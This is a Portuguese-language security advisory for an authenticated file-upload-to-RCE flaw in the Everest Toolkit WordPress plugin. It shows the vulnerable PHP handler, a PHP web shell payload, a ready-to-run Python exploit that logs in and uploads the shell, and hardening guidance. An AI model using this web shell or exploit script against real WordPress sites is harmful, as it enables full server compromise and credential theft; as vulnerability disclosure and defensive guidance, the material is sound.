
Exploit de prova de conceito e advisory técnico para uma vulnerabilidade de upload arbitrário de arquivos com privilégios de Admin+, que leva à execução remota de código, no plugin Everest Toolkit para WordPress (<= 1.2.3), incluindo análise do código vulnerável, PoC em Python e orientações de hardening.
CVE-2026-13158 é uma vulnerabilidade de upload arbitrário de arquivos autenticado (Admin+) que afeta o plugin Everest Toolkit do WordPress nas versões até 1.2.3 (inclusive), descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A falha reside na funcionalidade de processamento de upload do toolkit administrativo, onde a validação inadequada das extensões de arquivo e dos tipos MIME enviados permite que administradores autenticados—ou usuários com privilégios administrativos reduzidos—façam upload de scripts PHP executáveis arbitrários diretamente no diretório web público. Ao contornar as restrições de extensão de arquivo durante as rotinas de manipulação de mídia ou de arquivos de configuração, um atacante pode obter Execução Remota de Código (RCE) persistente, comprometendo totalmente o servidor web subjacente, acessando credenciais sensíveis do banco de dados e estabelecendo persistência não autorizada por backdoor em todo o ambiente da aplicação host. O pesquisador de segurança Huynh Kien Minh verificou esta vulnerabilidade com pontuação CVSS 3.1 de 6.6 (Médio), enfatizando a remediação imediata por meio de uma lista de permissões estrita para extensões de arquivo, verificação de tipos MIME e desativação das permissões de execução nos subdiretórios públicos de upload.
Links Rápidos: Leia o advisory técnico detalhado (Deep-Dive) no DEV.to Write-up ou explore o Portfólio de Segurança Cibernética oficial do pesquisador.
A causa raiz do CVE-2026-13158 decorre do tratamento inseguro de upload de arquivos nas classes do manipulador administrativo Everest_Toolkit. Quando um administrador autenticado ou um usuário com privilégios administrativos invoca os endpoints de upload de arquivos (como importações de modelos, uploads de ícones personalizados ou rotinas de configuração de ativos), o plugin não aplica validação estrita no servidor contra extensões executáveis (como .php, .php5, .phtml).
No processador administrativo de arquivos do plugin:
// Vulnerable file handling routine in Everest Toolkit <= 1.2.3
public function handle_toolkit_file_upload() {
if ( ! current_user_can( 'manage_options' ) ) {
wp_die( __( 'Unauthorized access', 'everest-toolkit' ) );
}
if ( isset( $_FILES['toolkit_import_file'] ) ) {
$file = $_FILES['toolkit_import_file'];
// CRITICAL FLAW: Insufficient file type restriction check!
// Relying solely on client-side headers or unsafe overrides without checking wp_check_filetype_and_ext()
$upload_dir = wp_upload_dir();
$target_path = $upload_dir['path'] . '/' . basename( $file['name'] );
if ( move_uploaded_file( $file['tmp_name'], $target_path ) ) {
wp_send_json_success( array( 'file_url' => $upload_dir['url'] . '/' . basename( $file['name'] ) ) );
}
}
}
Como move_uploaded_file grava diretamente arquivos controlados pelo usuário no diretório público wp-content/uploads/ sem executar wp_check_filetype_and_ext() ou sanitizar as extensões de arquivo contra tipos MIME perigosos, um atacante com acesso administrativo pode enviar um payload PHP executável.
Aviso Ético: Esta Prova de Conceito é fornecida exclusivamente para verificação de segurança, pesquisa acadêmica e engenharia defensiva. A exploração não autorizada contra sistemas de produção sem consentimento prévio por escrito é estritamente proibida.
shell.php)<?php
// CVE-2026-13158 Proof-of-Concept Payload
// Discovered & Authored by Huynh Kien Minh (MinhHK)
header('Content-Type: text/plain');
echo "=== CVE-2026-13158 RCE Verification ===\n";
echo "Host System: " . php_uname() . "\n";
echo "Current User: " . get_current_user() . "\n";
if (isset($_REQUEST['cmd'])) {
system($_REQUEST['cmd']);
}
?>
#!/usr/bin/env python3
"""
CVE-2026-13158 - Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload PoC
Author: Huynh Kien Minh (MinhHK)
Portfolio: https://minhhk.web.app/
"""
import requests
import sys
TARGET_URL = "http://target-wordpress.local"
USERNAME = "admin"
PASSWORD = "admin_password"
session = requests.Session()
def login():
login_url = f"{TARGET_URL}/wp-login.php"
payload = {
'log': USERNAME,
'pwd': PASSWORD,
'wp-submit': 'Log In',
'redirect_to': f"{TARGET_URL}/wp-admin/",
'testcookie': '1'
}
res = session.post(login_url, data=payload)
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("[+] Authenticated successfully as Admin!")
return True
print("[-] Authentication failed.")
return False
def exploit():
upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php"
files = {
'toolkit_import_file': ('poc_rce.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')
}
data = {
'action': 'everest_toolkit_file_upload'
}
res = session.post(upload_url, data=data, files=files)
if res.status_code == 200 and 'file_url' in res.text:
file_url = res.json().get('data', {}).get('file_url', '')
print(f"[+] Payload uploaded successfully! RCE URL: {file_url}?cmd=id")
else:
print("[-] Upload failed or endpoint not vulnerable.")
if __name__ == "__main__":
if login():
exploit()
wp_handle_upload com Lista de Permissões Estrita: Substitua as chamadas personalizadas de move_uploaded_file pela função padrão wp_handle_upload() do WordPress sem desativar as substituições de teste..htaccess ou Nginx para impedir a execução de scripts dentro de /wp-content/uploads/:# Nginx Hardening Rule
location ~* ^/wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
Huynh Kien Minh (MinhHK) é pesquisador de segurança da informação e engenheiro de software especializado em análise de vulnerabilidades em aplicações web, auditoria do ecossistema WordPress e pesquisa ofensiva de segurança.
{
"@context": "https://schema.org",
"@type": "TechArticle",
"headline": "CVE-2026-13158: Everest Toolkit <= 1.2.3 Admin+ Arbitrary File Upload to Remote Code Execution",
"name": "CVE-2026-13158 Security Advisory",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"description": "Deep-dive technical security advisory by Huynh Kien Minh analyzing CVE-2026-13158 in Everest Toolkit <= 1.2.3 WordPress plugin.",
"about": {
"@type": "SoftwareApplication",
"name": "Everest Toolkit",
"operatingSystem": "WordPress"
},
"identifier": "CVE-2026-13158"
}
| Parâmetro | Especificação Técnica |
|---|
| Identificador da Vulnerabilidade | CVE-2026-13158 |
| Software Alvo | Everest Toolkit (Plugin WordPress) |
| Slug do Plugin | everest-toolkit |
| Versões Vulneráveis | <= 1.2.3 |
| Classe da Vulnerabilidade | Upload irrestrito de arquivo com tipo perigoso (CWE-434 / OWASP A03) |
| Pontuação CVSS v3.1 | 6.6 (Médio) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Descobridor / Pesquisador | Huynh Kien Minh (MinhHK) |
| Autoridade de Verificação | WPScan / MITRE Corporation |
| Referência do Advisory WPScan | Relatório WPScan f101071f-402a-40a2-bbdb-666512cd4049 |
| Portfólio do Pesquisador | https://minhhk.web.app/ |